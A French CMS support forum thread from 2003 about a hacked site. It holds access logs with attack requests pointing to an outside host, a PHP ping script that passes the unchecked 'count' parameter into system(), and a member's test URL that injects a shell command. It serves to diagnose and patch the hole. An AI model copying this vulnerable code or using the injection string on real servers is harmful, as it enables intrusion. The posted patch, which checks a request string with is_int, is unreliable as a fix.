Gestion de Contenu, de Communauté et de groupes de travail collaboratif - Open Source, français, sécurisé, stable et performant

  • MODULES

    Pour étendre les nombreuses fonctionnalités disponibles de base - modules.npds.org est à votre disposition.

    Des modules complémentaires, une communauté de développeurs active, des forums pour vos questions ... NPDS  est aussi une plateforme de développement !
  • STYLES

    Vous cherchez des thèmes graphiques pour votre portail ou votre communauté : styles.npds.org est à votre disposition.

    Des thèmes du plus simple au plus sophistiqué. Des thèmes facilement modifiables et toujours en Open-Source - Laissez simplement parler votre imagination !
  • BIBLES

    La documentation indispensable pour personnaliser et exploiter toute la puissante de NPDS  est à votre disposition sur bible.npds.org.

    Vous pouvez participer à l'effort de documentation - rien de plus simple : contactez un membre de la Team de développement et nous vous ouvrirons un compte sur le Wiki !
Devenir membre    |    Identifiant : Mot de Passe : -
Au delà de la gestion de contenu 'classique', NPDS met en oeuvre un ensemble de fonctions spécifiquement dédiées à la gestion de Communauté et de groupes de travail collaboratif.
Il s'agit d'un Content & Community Management System (CCMS) robuste, sécurisé, complet, performant et parlant vraiment français.

Gérez votre Communauté d'utilisateurs, vos groupes de travail collaboratif, publiez, gérez et organisez votre contenu grâce aux puissants outils disponibles de base.
  • Multi langues (Français, Anglais, Allemand, Espagnol, Chinois)
  • Respect des standards : UTF8, XHTML, CSS, ...
  • Système de blocs avancés
  • Installation et administration complète et centralisée
  • Editeur HTML intégré
  • Gestionnaire de fichier en ligne
  • Gestion des groupes de membres
  • Ecriture collaborative de documents (PAD)
  • Forums évolués
  • Mini-sites (pour les membres et les groupes de travail)
  • Chat temp réel
  • Système de News et de rubriques complet (édition, révision, publication)
  • ...
Gratuit et libre (Open-Source), développé en PHP, NPDS est personnalisable grâce à de nombreux thèmes et modules et ne requiert que quelques compétences de base.
NPDS Workplace - groupe de travail collaboratif
 NPDS WorkSpace - tous l'univers du travail collaboratif.
Modéré par : developpeur jpb Jireck 
Index du Forum » » Sécurité » » [Résolu] - Site NPDS hacké
Auteur[Résolu] - Site NPDS hacké
Tribal-Dolphin
4374       
 

Tribal-Dolphin
  Posté : 31-12-2003 06:57

Salut,

j'ai eu un message d'un de mes membres comme koi son site étais HS.
Voici le message :

"0wnZ by raydiax fags" suivi du message NPDS impossible de trouver la BDD

J'ai édité le log et voici les dernières visites :


80.134.118.182 - - [30/Dec/2003:13:07:08 -0600] "GET /php-ping.php?count=http://abc666cba.narod.ru/Packer&cmd=ls HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"
80.134.118.182 - - [30/Dec/2003:13:07:18 -0600] "GET /php-ping.php?count=http://abc666cba.narod.ru/Packer&cmd=ls HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"
80.134.118.182 - - [30/Dec/2003:13:07:42 -0600] "GET /mainfile.php?count=http://abc666cba.narod.ru/Packer&cmd=ls HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"
80.134.118.182 - - [30/Dec/2003:13:07:48 -0600] "GET /mainfile.php HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"
80.134.118.182 - - [30/Dec/2003:13:07:56 -0600] "GET /mainfile.php HTTP/1.1" 200 911 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)"


Si vous trouver la Faille ..
Merci pour lui

[ Message édité par : Tribal-Dolphin : 31-12-2003 06:57 ]

  Profil  
snipe
2450       
 

snipe
  Posté : 31-12-2003 07:23

tu pourai pas envoyer les ligne plus haut et voir si tu peut nous passer son fichier php-ping

j ai l impresion que le pb vient de ce fichier.

  Profil  E-mail  
snipe
2450       
 

snipe
  Posté : 31-12-2003 07:59

suis pret a parier que dans php-ping.php

y a une de c function :
escapeshellcmd
exec
passthru
proc_open
shell_exec
system
sans control de la variable cmd :)

  Profil  E-mail  
axel
10065       
 

axel
  Posté : 31-12-2003 13:25

snipe, il m'impressionne : il devine des trucs AVANT d'avoir vu le fichier

PS : ph-ping != NPDS... Donc, NPDS hacké, c pas encore pour aujourd'hui !

  Profil  E-mail  www  
GiamDoc
7063       
 

GiamDoc
  Posté : 31-12-2003 15:05

NPDS: quelle version?

  Profil  E-mail  www  
Tribal-Dolphin
4374       
 

Tribal-Dolphin
  Posté : 31-12-2003 19:05

Désolè pour la longueur mais le serveur est Out suite à l'attaque.
Dès que c revenu, je t'envoie tout ça !

  Profil  
snipe
2450       
 

snipe
  Posté : 31-12-2003 19:09

sans prob, de toute facon moi je bosse toute la nuit :)

  Profil  E-mail  
Tribal-Dolphin
4374       
 

Tribal-Dolphin
  Posté : 31-12-2003 19:33

Voici le fichier

<?php
if(!IsSet($mainfile)) { !include! ("mainfile.php"); }
// Permanent double-side theme
global $pdsts;
$pdst="0";

if (($npds!="1") and ($npds!="-1")) {
$pdst=1;
} else {
$pdst=$npds;
}

if ($npds!="-1") {
!include! ("header.php");
}
openTable();
?>
<!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>The WorldsEnd.NET - Free Ping Script, written in PHP</title>
</head>

<?php
// This script was writen by webmaster@theworldsend.net, Aug.2001
// http://www.theworldsend.net
// This is my first script. Enjoy.
//
// Put it into whatever directory and call it. That's all.
// Updated to 4.2 code
// Get Variable from form via register globals on/off
//-------------------------
$max_count = 10; //maximum count for ping command
$unix = 1; //set this to 1 if you are on a *unix system
$windows = 0; //set this to 1 if you are on a windows system
// -------------------------
// nothing more to be done.
// -------------------------
//globals on or off ?
$register_globals = (bool) ini_get('register_gobals');
$system = ini_get('system');
$unix = (bool) $unix;
$win = (bool) $windows;
//
If ($register_globals)
{
$ip = getenv(REMOTE_ADDR);
$self = $PHP_SELF;
}
else
{
$submit = $_GET['submit'];
$count = $_GET['count'];
$host = $_GET['host'];
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
};
// form submitted ?
If ($submit == "Ping!")
{
// over count ?
If ($count > $max_count)
{
echo 'Maximum for count is: '.$max_count;
echo '<a href="'.$self.'">Back</a>';
}
else
{
// replace bad chars
$host= preg_replace ("/[^A-Za-z0-9.]/","",$host);
echo '<body bgcolor="#FFFFFF" text="#000000"></body>';
echo("Ping Output:<br>");
echo '<pre>';
//check target IP or domain
if ($unix)
{
system ("ping -c$count -w$count $host");
system("killall ping");// kill all ping processes in case there are some stalled ones or use echo 'ping' to execute ping without shell
}
else
{
system("ping -n $count $host");
}
echo '</pre>';
}
}
else
{
echo '<body bgcolor="#FFFFFF" text="#000000"></body>';
echo '<p><font size="2">Votre adresse IP est : '.$ip.'</font></p>';
echo '<form methode="post" action="'.$self.'">';
echo ' Entrer adresse IP ou Host : <input type="text" name="host" value="'.$ip.'"></input>';
echo ' Entrer count <input type="text" name="count" size="2" value="4"></input>';
echo ' <input type="submit" name="submit" value="Ping!"></input>';
echo '</form>';
echo '<br><b>'.$system.'</b>';
echo '</body></html>';
}
?>
<?
closeTable();
if ($npds!="-1") {
!include! ("footer.php");
}
?>

  Profil  
Tribal-Dolphin
4374       
 

Tribal-Dolphin
  Posté : 31-12-2003 19:45

Je t'ai envoyer le log par mail
Merci

  Profil  
snipe
2450       
 

snipe
  Posté : 31-12-2003 20:31

j ai pas recu ton log mais le pb vien de la ;)

fait un test avec php-ping.php?count=4%20http://abc666cba.narod.ru/Packer|ls&submit=Ping%21

et tu vera que tu voie le contenu du rep,
maintenent tu lance un truc plus vache et j eclate tous les fichier que apache peut effacer :)

a ta place je lui dirait de corriger le code :)

[ Message édité par : snipe : 31-12-2003 20:40 ]

  Profil  E-mail  
snipe
2450       
 

snipe
  Posté : 31-12-2003 20:38

Voila qui comble la faille en quetion :)

<?php
if(!IsSet($mainfile)) { !!include!! ("mainfile.php"); }
// Permanent double-side theme
global $pdsts;
$pdst="0";

if (($npds!="1") and ($npds!="-1")) {
$pdst=1;
} else {
$pdst=$npds;
}

if ($npds!="-1") {
!!include!! ("header.php");
}
openTable();
// This script was writen by <a href='mailto:webmaster@theworldsend.net' target='_blank' class='NOIR'>webmaster@theworldsend.net</a>, Aug.2001
// <a href='http://www.theworldsend.net' target='_blank' class='NOIR'>http://www.theworldsend.net</a>
// This is my first script. Enjoy.
//
// Put it into whatever directory and call it. That's all.
// Updated to 4.2 code
// Get Variable from form via register globals on/off
//--------
$max_count = 10; //maximum count for ping command
$unix = 1; //set this to 1 if you are on a *unix system
$windows = 0; //set this to 1 if you are on a windows system
// --------
// nothing more to be done.
// --------
//globals on or off ?
$register_globals = (bool) ini_get('register_gobals');
$system = ini_get('system');
$unix = (bool) $unix;
$win = (bool) $windows;
//
If ($register_globals)
{
$ip = getenv(REMOTE_ADDR);
$self = $PHP_SELF;
}
else
{
$submit = $_GET['submit'];
$count = $_GET['count'];
$host = $_GET['host'];
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
};
// form submitted ?
If ($submit == "Ping!")
{
// over count ?
//protect snp
if(!is_int($count)){
echo "Vas te fait foutre sal hackers";
}else{
//protect snp
If ($count > $max_count)
{
echo 'Maximum for count is: '.$max_count;
echo '<a href="'.$self.'">Back</a>';
}
else
{
// replace bad chars
$host= preg_replace ("/[^A-Za-z0-9.]/","",$host);
echo '<body bgcolor="#FFFFFF" text="#000000"></body>';
echo("Ping Output:<br>");
echo '<pre>';
//check target IP or domain
if ($unix)
{
system ("ping -c$count -w$count $host");
system("killall ping");// kill all ping processes in case there are some stalled ones or use echo 'ping' to execute ping without shell
}
else
{
system("ping -n $count $host");
}
echo '</pre>';
}
//protect snp
}
//protect snp
}
else
{
echo '<body bgcolor="#FFFFFF" text="#000000"></body>';
echo '<p><font size="2">Votre adresse IP est : '.$ip.'</font></p>';
echo '<form methode="post" action="'.$self.'">';
echo ' Entrer adresse IP ou Host : <input type="text" name="host" value="'.$ip.'"></input>';
echo ' Entrer count <input type="text" name="count" size="2" value="4"></input>';
echo ' <input type="submit" name="submit" value="Ping!"></input>';
echo '</form>';
echo '<br><b>'.$system.'</b>';
echo '</body></html>';
}
?>
<?
closeTable();
if ($npds!="-1") {
!!include!! ("footer.php");
}
?>

faut reenlever les !! au !!include!!

[ Message édité par : snipe : 31-12-2003 20:40 ]

  Profil  E-mail  
developpeur
24581       
 

developpeur
  Posté : 01-01-2004 00:12

ce n'est donc pas passer par NPDS si je comprend bien !

  Profil  E-mail  www  
Tribal-Dolphin
4374       
 

Tribal-Dolphin
  Posté : 01-01-2004 01:40

Très bien compris Dev.
C'est simplement une erreur grave de sécurité dans un script qu'il à téléchargé.

BONNE ANNÉE

  Profil  
axel
10065       
 

axel
  Posté : 02-02-2004 11:45

et snipe qui te corrige le copde en 10 secondes...

ppppffffffffffffffffffffffffffffffffffffffffff

  Profil  E-mail  www  
Tribal-Dolphin
4374       
 

Tribal-Dolphin
  Posté : 02-02-2004 11:53

Axel, tu sors

  Profil  
Sauter à :

Temps : 0.0185 seconde(s)